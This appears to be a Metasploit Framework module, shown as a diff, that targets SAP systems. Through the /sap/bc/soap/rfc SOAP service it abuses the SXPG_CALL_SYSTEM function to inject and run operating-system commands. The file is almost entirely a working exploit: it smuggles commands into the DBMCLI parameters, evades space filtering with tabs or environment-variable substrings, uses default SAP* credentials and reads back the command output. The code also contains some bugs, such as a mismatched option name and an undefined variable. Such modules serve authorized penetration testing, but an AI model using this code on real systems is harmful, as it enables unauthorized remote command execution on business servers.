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| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +## |
| 9 | +# This module is based on, inspired by, or is a port of a plugin available in |
| 10 | +# the Onapsis Bizploit Opensource ERP Penetration Testing framework - |
| 11 | +# http://www.onapsis.com/research-free-solutions.php. |
| 12 | +# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts |
| 13 | +# in producing the Metasploit modules and was happy to share his knowledge and |
| 14 | +# experience - a very cool guy. I'd also like to thank Chris John Riley, |
| 15 | +# Ian de Villiers and Joris van de Vis who have Beta tested the modules and |
| 16 | +# provided excellent feedback. Some people just seem to enjoy hacking SAP :) |
| 17 | +## |
| 18 | + |
| 19 | +require 'msf/core' |
| 20 | + |
| 21 | +class Metasploit4 < Msf::Auxiliary |
| 22 | + |
| 23 | + include Msf::Exploit::Remote::HttpClient |
| 24 | + include Msf::Auxiliary::Report |
| 25 | + include Msf::Auxiliary::Scanner |
| 26 | + |
| 27 | + def initialize |
| 28 | + super( |
| 29 | + 'Name' => 'SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection', |
| 30 | + 'Description' => %q{ |
| 31 | + This module makes use of the SXPG_CALL_SYSTEM Remote Function Call, through the |
| 32 | + use of the /sap/bc/soap/rfc SOAP service, to inject and execute OS commands. |
| 33 | + }, |
| 34 | + 'References' => |
| 35 | + [ |
| 36 | + [ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ], |
| 37 | + [ 'URL', 'http://labs.mwrinfosecurity.com/blog/2012/09/03/sap-parameter-injection' ] |
| 38 | + ], |
| 39 | + 'Author' => |
| 40 | + [ |
| 41 | + 'nmonkee' |
| 42 | + ], |
| 43 | + 'License' => MSF_LICENSE |
| 44 | + ) |
| 45 | + register_options( |
| 46 | + [ |
| 47 | + OptString.new('CLIENT', [true, 'SAP Client', '001']), |
| 48 | + OptString.new('USERNAME', [true, 'Username', 'SAP*']), |
| 49 | + OptString.new('PASSWORD', [true, 'Password', '06071992']), |
| 50 | + OptEnum.new('OS', [true, 'Target OS', "linux", ['linux','windows']]), |
| 51 | + OptString.new('CMD', [true, 'Command to run', "id"]) |
| 52 | + ], self.class) |
| 53 | + end |
| 54 | + |
| 55 | + def run_host(ip) |
| 56 | + payload = create_payload(1) |
| 57 | + exec_command(ip,payload) |
| 58 | + payload = create_payload(2) |
| 59 | + exec_command(ip,payload) |
| 60 | + end |
| 61 | + |
| 62 | + def create_payload(num) |
| 63 | + command = "" |
| 64 | + os = "ANYOS" |
| 65 | + if datastore['OS'].downcase == "linux" |
| 66 | + if num == 1 |
| 67 | + command = "-o /tmp/pwned.txt -n pwnie" + "\n!" |
| 68 | + command << datastore['CMD'].gsub(" ","\t") |
| 69 | + command << "\n" |
| 70 | + end |
| 71 | + command = "-ic /tmp/pwned.txt" if num == 2 |
| 72 | + elsif datastore['OS'].downcase == "windows" |
| 73 | + if num == 1 |
| 74 | + command = '-o c:\\\pwn.out -n pwnsap' + "\r\n!" |
| 75 | + space = "%programfiles:~10,1%" |
| 76 | + command << datastore['COMMAND'].gsub(" ",space) |
| 77 | + end |
| 78 | + command = '-ic c:\\\pwn.out' if num == 2 |
| 79 | + end |
| 80 | + data = '<?xml version="1.0" encoding="utf-8" ?>' + "\r\n" |
| 81 | + data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' + "\r\n" |
| 82 | + data << '<env:Body>' + "\r\n" |
| 83 | + data << '<n1:SXPG_CALL_SYSTEM xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">' + "\r\n" |
| 84 | + data << '<ADDITIONAL_PARAMETERS>' + command + ' </ADDITIONAL_PARAMETERS>' + "\r\n" |
| 85 | + data << '<COMMANDNAME>DBMCLI</COMMANDNAME>' + "\r\n" |
| 86 | + data << '<OPERATINGSYSTEM>' + os + '</OPERATINGSYSTEM>' + "\r\n" |
| 87 | + data << '<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>' + "\r\n" |
| 88 | + data << '</n1:SXPG_CALL_SYSTEM>' + "\r\n" |
| 89 | + data << '</env:Body>' + "\r\n" |
| 90 | + data << '</env:Envelope>' + "\r\n" |
| 91 | + return data |
| 92 | + end |
| 93 | + |
| 94 | + def exec_command(ip,data) |
| 95 | + user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD']) |
| 96 | + print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_CALL_SYSTEM request") |
| 97 | + begin |
| 98 | + res = send_request_raw( |
| 99 | + { |
| 100 | + 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN', |
| 101 | + 'method' => 'POST', |
| 102 | + 'data' => data, |
| 103 | + 'headers' => { |
| 104 | + 'Content-Length' => data.size.to_s, |
| 105 | + 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', |
| 106 | + 'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], |
| 107 | + 'Authorization' => 'Basic ' + user_pass, |
| 108 | + 'Content-Type' => 'text/xml; charset=UTF-8' |
| 109 | + } |
| 110 | + }, 45) |
| 111 | + if res and res.code != 500 and res.code != 200 |
| 112 | + print_error("[SAP] #{ip}:#{rport} - something went wrong!") |
| 113 | + return |
| 114 | + elsif res and res.body =~ /faultstring/ |
| 115 | + error = res.body.scan(%r{<faultstring>(.*?)</faultstring>}).flatten |
| 116 | + 0.upto(output.length-1) do |i| |
| 117 | + print_error("[SAP] #{ip}:#{rport} - error #{error[i]}") |
| 118 | + end |
| 119 | + return |
| 120 | + elsif res |
| 121 | + print_status("[SAP] #{ip}:#{rport} - got response") |
| 122 | + output = res.body.scan(%r{<MESSAGE>([^<]+)</MESSAGE>}).flatten |
| 123 | + result = [] |
| 124 | + 0.upto(output.length-1) do |i| |
| 125 | + if output[i] =~ /E[rR][rR]/ || output[i] =~ /---/ || output[i] =~ /for database \(/ |
| 126 | + #nothing |
| 127 | + elsif output[i] =~ /unknown host/ || output[i] =~ /; \(see/ || output[i] =~ /returned with/ |
| 128 | + #nothing |
| 129 | + elsif output[i] =~ /External program terminated with exit code/ |
| 130 | + #nothing |
| 131 | + else |
| 132 | + temp = output[i].gsub(">",">") |
| 133 | + temp_ = temp.gsub(""","\"") |
| 134 | + temp__ = temp_.gsub("'","'") |
| 135 | + result << temp__ + "\n" |
| 136 | + end |
| 137 | + end |
| 138 | + saptbl = Msf::Ui::Console::Table.new( |
| 139 | + Msf::Ui::Console::Table::Style::Default, |
| 140 | + 'Header' => "[SAP] SXPG_CALL_SYSTEM dbmcli Command Injection", |
| 141 | + 'Prefix' => "\n", |
| 142 | + 'Postfix' => "\n", |
| 143 | + 'Indent' => 1, |
| 144 | + 'Columns' =>["Output"] |
| 145 | + ) |
| 146 | + for i in 0..result.length/2-1 |
| 147 | + saptbl << [result[i].chomp] |
| 148 | + end |
| 149 | + print (saptbl.to_s) |
| 150 | + return |
| 151 | + else |
| 152 | + print_error("[SAP] #{ip}:#{rport} - Unknown error") |
| 153 | + return |
| 154 | + end |
| 155 | + rescue ::Rex::ConnectionError |
| 156 | + print_error("[SAP] #{ip}:#{rport} - Unable to connect") |
| 157 | + return |
| 158 | + end |
| 159 | + end |
| 160 | +end |
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